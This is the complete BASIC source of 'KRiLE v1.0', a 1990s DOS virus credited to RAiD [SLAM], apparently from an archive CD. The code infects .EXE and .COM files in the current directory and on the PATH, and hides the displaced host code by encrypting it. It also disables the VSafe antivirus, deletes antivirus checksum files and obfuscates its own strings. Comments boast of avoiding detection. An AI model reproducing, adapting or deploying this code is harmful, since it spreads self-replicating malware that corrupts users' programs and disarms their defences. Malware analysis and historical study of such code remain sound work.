HPAVC/HPAVC CD-ROM.iso/pc/CASIOCOL.ZIP/KRILE1.ZIP/SOURCE.ZIP/KRILE.ASI

Text File | 1997-11-20 | 10.4 KB | 511 lines

dim virus_data(4540)
dim host_data(4540)
call sub"Criterror!"
virus_sig$="1234"
randomize
exe$="*.exe"
com$="*.com"
killfil1$="anti-vir.dat"
killfil2$="chklist.ms"
killfil3$="chklist.cps"
krilesig1$="■KRiLE■ v1.0 - It's time for revenge! coded by RAiD UsA [SLAM]97"
notouch$="Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw"
vsafe_stats=0
gosub vsafe_toggle:
vsafe_stats=cx
call sub "exename" hostname$
yourparm$=command$
yourparm$=ltrim$(yourparm$)
yourparm$=rtrim$(yourparm$)
yourparm$=" "+yourparm$

rem Time to decrypt our little family of strings
temp$=killfil1$
gosub decode_mess:
killfil1$=temp$

temp$=killfil2$
gosub decode_mess:
killfil2$=temp$

temp$=killfil3$
gosub decode_mess:
killfil3$=temp$
temp$=krilesig1$
gosub decode_mess:
krilesig1$=temp$

temp$=notouch$
gosub decode_mess:
notouch$=temp$

temp$=exe$
gosub decode_mess:
exe$=temp$

temp$=Com$
gosub decode_mess:
com$=temp$

gosub chksum_die:
filename$=hostname$
hostsize&=filelen(filename$)
virus_size=4537
virus_size&=4537&
gosub get_attr:
oldattr=newattr
newattr=0
gosub set_attr:
gosub open_file:
bytesize=virus_size
dx=varptr(virus_data(0))
gosub read_file:
gosub close_file:
newattr=oldattr
gosub set_attr:

rem Ok, we have an image loaded, let's scan the current directory
rem for use-able hosts. We also deal with any checksum files during
rem this scan.
gosub cur_dir:


rem Ok, now were going to target files along the path :)
     for n=0 to 100
          call sub "path", n, virupath$
          i=LEN(virupath$)
          if i=0 then done:
          b$=right$(virupath$,1)
        if b$<>"\" then
        virupath$=virupath$+"\"
        endif
        rem Before we infect, trash checksum files
        gosub chksum_die:
        out1$=exe$
        out2$=com$
        proc$=virupath$+out1$
        gosub start_virus:
        proc$=virupath$+out2$
        gosub start_virus:
        next n



done:
filename$=hostname$
hostsize&=filelen(filename$)
gosub get_attr:
oldattr=newattr
newattr=0
gosub set_attr:
gosub open_file:
gosub get_fdt:
hosttemp&=hostsize&-virus_size&
move_way&=hosttemp&
gosub move_file_pointer:
bytesize=virus_size
dx=varptr(host_data(0))
gosub read_file:
move_way&=0&
gosub move_file_pointer:
gosub cypher_host:
dx=varptr(host_data(0))
bytesize=virus_size
gosub write_file:
gosub set_fdt:
gosub close_file:
gosub strip_garbage:
newattr=oldattr
gosub set_attr:

rem Ok, siren anyone?
rem a value of 256 ensures the siren is rare, which means this
rem virus won't be detected right off the bat. No sense calling
rem attention to ourselves too soon. :)
a=rnd(0)
a=a mod 256
a=a+1
if a=19 then
gosub siren:
endif

call hostname$, yourparm$
r=vsafe_stats
vsafe_stats=0
gosub vsafe_toggle:
vsafe_stats=r
filename$=hostname$

rem Let's make sure we don't accidently infect the host a second
rem time. Happens rarely, but a good safety precaution anyways.
rem Besides, doesn't eat much more code space.
gosub infect_check:
if infected=0 then
gosub lets_infect:
endif

rem Check the current directory again, Host might have created
rem some new targets. pkunzip.exe being a good example. Note: This
rem allows my virus to resemble TSR based viruses somewhat. <G>
gosub cur_dir:

gosub vsafe_toggle:
a=rnd(0)
a=a mod 256
a=a+1
if a=19 then
gosub say_hi:
endif

rem The end has been reached, return to operating system or calling
rem program.
end

start_virus:
errcode=0
attr=6
kewl=0
       CALL SUB "FindFirstF" proc$ Attr ErrCode
       WHILE ErrCode = 0
          CALL SUB "GetNameF" FileName$
  filename$=virupath$+filename$
  gosub infect_check:
if infected=0 then
gosub lets_infect:
endif
         CALL SUB "FindNextF" ErrCode
         if kewl>4 then
         errcode=1
         endif
   WEND

return

Lets_infect:
hostsize&=filelen(filename$)
gosub get_attr:
oldattr=newattr
newattr=0
gosub set_attr:
gosub open_file:
gosub get_fdt:
bytesize=virus_size
dx=varptr(host_data(0))
gosub read_file:
move_way&=0&
gosub move_file_pointer:
bytesize=virus_size
dx=varptr(virus_data(0))
gosub write_file:
move_way&=hostsize&
gosub move_file_pointer:
gosub cypher_host:
dx=varptr(host_data(0))
bytesize=virus_size
gosub write_file:
gosub set_fdt:
kewl=kewl+1
gosub close_file:
newattr=oldattr
gosub set_attr:
return

rem miscallenous file i/o routines beyond this point. Boring to  look
rem at.:)

get_attr:
AX = &HEX4300
DX = VARPTR(Filename$)
CX = NewAttr
INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
return

set_attr:
AX = &HEX4301
DX = VARPTR(Filename$)
CX = NewAttr
INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
return

vsafe_toggle:
ax=&hexfa02
dx=&hex5945
bx=vsafe_stats
int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
return

get_fdt:
if file_handle>4 then
AX=&HEX5700
BX=FILE_HANDLE
INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
NEWDATE=CX
NEWTIME=DX
endif
RETURN

set_fdt:
if file_handle>4 then
AX=&HEX5701
BX=FILE_HANDLE
CX=NEWDATE
DX=NEWTIME
INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
endif
RETURN

rem DOS int file i/o driven code beyond this point :)

rem ax=&hex3d00
rem ax opens file for read in this mode :-)
rem ax=&hex3d01
rem ax opens file for write in this mode :-)
rem ax=&hex3d02
rem ax opens file for read/write access :) hehehe

open_file:
AX=&HEX3D02
DX = VARPTR(Filename$)
INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
file_handle=ax
return

write_file:
rem this routine will write selected bytes at whatever current position
rem from whatever buffer i choose into the file.
rem if the routine did not write all data ax will not equal cx upon
rem return from int call.
rem define dx register before calling this routine to point to the
rem memory address of the buffer area you want to write from. like so:
rem dx=varptr(buffer(0))
rem cx is how many bytes to write :)
if file_handle>4 then
ax=&hex4000
bx=file_handle
cx=bytesize
int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
byteswritten=ax
endif
return

read_file:
rem as the name implies, it reads bytes into a buffer. :-)
rem as with write_file, you need to predefine the dx register for the
rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
rem if you don't, this routine will not work, or will overwrite some
rem other section of memory. And for virus coding, this is very bad! :)
rem cx register is how many bytes to read :)
if file_handle>4 then
ax=&hex3f00
bx=file_handle
cx=bytesize
int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
bytesread=ax
endif
return

close_file:
rem This routine will close the selected file.
rem do not try to close handle 2, very nasty... :-(
if file_handle>4 then
ax=&hex3e00
bx=file_handle
int86(&hex21,ax,bx,na,na,na,na,na,na,na)
endif
return

move_file_pointer:
rem Moves file pointer from start of file to whereever I wanna go
rem Routine called is patched(hacked) from asilib.lib
method=0
call sub "fseek" file_handle, move_way&, method, errcode
return

cypher_host:
for x=0 to virus_size
a=host_data(x)
ax=a
bx=x
SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
CODE &HEX31, &HEXD8
GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
host_data(x)=ax
next x
return

infect_check:
rem routine checks for files to avoid, size validation and to make
rem sure the file is not already infected. If any of the routines
rem return infected=1 then the rest of the file  i/o does not
rem occur (saves a few miliseconds i/o time)
infected=0
gosub do_not_touch:
if infected=0 then
gosub size_check:
endif
if infected=0 then
gosub prev_check:
endif
return

prev_check:
rem Is this file already infected?
gosub get_attr:
newattr=oldattr
newattr=0
gosub set_attr:
sig$="    "
gosub open_file:
move_way&=28
gosub move_file_pointer:
dx=varptr(sig$)
bytesize=4
gosub read_file:
gosub close_file:
newattr=oldattr
gosub set_attr:
if sig$=virus_sig$ then
infected=1
endif
if file_handle<5 then
rem We couldn't open the damn file to check, assume it is indeed
rem infected. and let's not fool with it. :)
infected=1
endif

return

strip_garbage:
open"r",1,filename$
a=filepos(1,hosttemp&)
print #1,"" NONULL
CLOSE 1
gosub open_file:
gosub set_fdt:
gosub close_file:
return

do_not_touch:
rem Make sure the following files are NOT infected or
rem otherwise tampered with.
test$=filename$
test$=ucase$(test$)
test=len(test$)
test=test-4
test$=left$(test$,test)
a$=ucase$(notouch$)
b=instr(a$,test$)
if b>0 then
infected=1
endif
return

size_check:
rem make sure the target file is larger then our virus
rem if it's not, we must not bother to infect it.
a&=filelen(filename$)
if a&<virus_size& then
rem file is  too small
infected=1
endif
return

chksum_die:
rem this kills chksum type files with a few simple calls
rem setting toast to killfil1$ 2 and 3 respectively
rem also cuts down on virus size.
ar$=filename$
rem above code stores original filename
toast$=killfil1$
gosub waste:
toast$=killfil2$
gosub waste:
toast$=killfil3$
gosub waste:
filename$=ar$
return

decode_mess:
output$=""
rem This routine decrypts our tables in the beginning to useable material
rem For run-time use only. The data in the exe/com is not decrypted!
r=len(temp$)
for x=1 to r
a$=mid$(temp$,x,1)
a=asc(a$)
a=a+127
a$=chr$(a)
output$=output$+a$
next x
temp$=output$
return

say_hi:
rem say our greeting
print krilesig1$

rem off with the damn cursor
REM turn crsr off by positioning off screen
REM ASIC leaves it on for some reaosn ALL the time!
AX=&HEX0200
BX=0
DX=25*256
INT86 (&HEX10,AX,BX,NA,DX,NA,NA,NA,NA,NA)

rem pause for 5 seconds
REM (5 * 18.2 clock-ticks-per-second = 91)
TickOne = TIMER
FOR i = 1 TO a
   TickTwo = TickOne
   WHILE TickTwo = TickOne
       TickOne = TIMER
   WEND
NEXT i
RETURN

siren:
rem muahahaha, Siren sounds :-)
gosub up:
gosub down:
gosub up:
gosub down:
gosub up:
gosub down:
return

up:
for x=1 to 2000
sound x,1
next x
return

down:
for x=1 to 2000
y=2000
y=y-x
sound y,1
next x
return

cur_dir:
rem routine searches for and infects files in current directory
rem this routine is used 2 times, so I just decided to make it a
rem subroutine to save bytes.
virupath$=""
gosub chksum_die:
proc$=exe$
gosub start_virus:
proc$=com$
gosub start_virus:
return

waste:
rem routine called by chksum_die
rem removes all attributes and deletes requested file.
filename$=virupath$
filename$=filename$+toast$
newattr=0
gosub set_attr:
kill filename$
return